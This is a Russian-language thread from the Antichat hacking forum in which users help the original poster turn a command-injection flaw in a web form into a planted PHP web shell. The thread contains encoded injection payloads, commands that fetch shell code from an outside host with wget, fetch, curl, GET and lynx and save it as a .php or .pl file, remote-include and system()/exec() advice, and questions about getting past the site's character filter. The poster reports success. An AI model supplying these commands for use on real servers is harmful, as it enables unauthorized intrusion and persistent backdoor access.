Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Как создать файл имея возможность выполнить команду интерпретатора? (https://forum.antichat.xyz/showthread.php?t=82554)

n0mie 27.08.2008 11:58

Как создать файл имея возможность выполнить команду интерпретатора?
 
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B
после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа
param1=180%3Becho+test%3Einclude%2Ffile.txt%3B
(%3E - это ">")
Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает.
Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..

Nek1t 27.08.2008 14:26

2n0mie,

Код:

echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php

.Slip 27.08.2008 14:30

copy('remote file','localfile');

Nek1t 27.08.2008 14:56

А, точно, можно еще просто слить файл из инета:
Цитата:

wget -O /some_folder/shell.php http://site.com/shell.txt

.Slip 27.08.2008 15:15

Цитата:

Сообщение от Nek1t
А, точно, можно еще просто слить файл из инета:

Не подскажешь ли, давно в пхп появилась функция wget?

Nek1t 27.08.2008 16:25

Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\

n0mie 27.08.2008 17:50

Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах..
Перенаправление в файл не работает, т.к. фильтруется вот таким образом:
$QWE = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => ''', "'" => ''');
$_POST[$key] = strtr(stripslashes($value), $QWE);
Возможно есть способ обойти такой фильтр, чтобы > не поменялось на &gt;?

Nek1t 27.08.2008 19:33

n0mie
Универсального кроссплатформенного решения боюсь нет :)

Дык, wget'ом получилось залить?

.Slip, я был прав! :p

guest3297 28.08.2008 00:56

Nek1t
видишь разницу между /bin/bash и интерпритарором php

2TS
не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt

Получить шелл ты можешь функцией system() exec() passhru() и так далее.
php.net тут справочник по функциям.

------------------------

update
мда...

Nek1t 28.08.2008 12:04

[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash.

Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash

n0mie 28.08.2008 12:08

Цитата:

Сообщение от Nek1t
ТС несколько путает интерпритатор PHP и /bin/bash.

Имхо просто не внимательно читаете..
"Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код."

Скачать файл получилось.. Только не wget, а fetch'ем..

Nek1t 28.08.2008 12:35

Цитата:

Имхо просто не внимательно читаете..
Просто привык, что обычно интерпритатором называют PHP. Но собсно я изначально про /bin/bash говорил.
Цитата:

Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код.
Гланое, что утерли нос [ cash ] и .Slip :p

slesh 28.08.2008 12:57

Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет.
для таких целей можно пролазеть, грубо вырожаясь через зад.
Часто сталкивался что только такие методы помогали.
curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php

Nek1t 28.08.2008 13:34

Цитата:

lynx: lynx -source "http://site.com/perl.txt" > /tmp/perl.pl
links: как и lynx
wget: wget -O /tmp/perl.pl http://site.com/perl.txt
GET: GET http://site.com/perl.txt > /tmp/perl.pl
fetch: fetch -o perl.pl http://site.com/perl.txt
curl: curl --output perl http://site.com/perl.txt
(c)ICEMAN-666

slesh 28.08.2008 13:36

в том то и дело что часто встречался с фильтром символов таких как ">"


Время: 08:41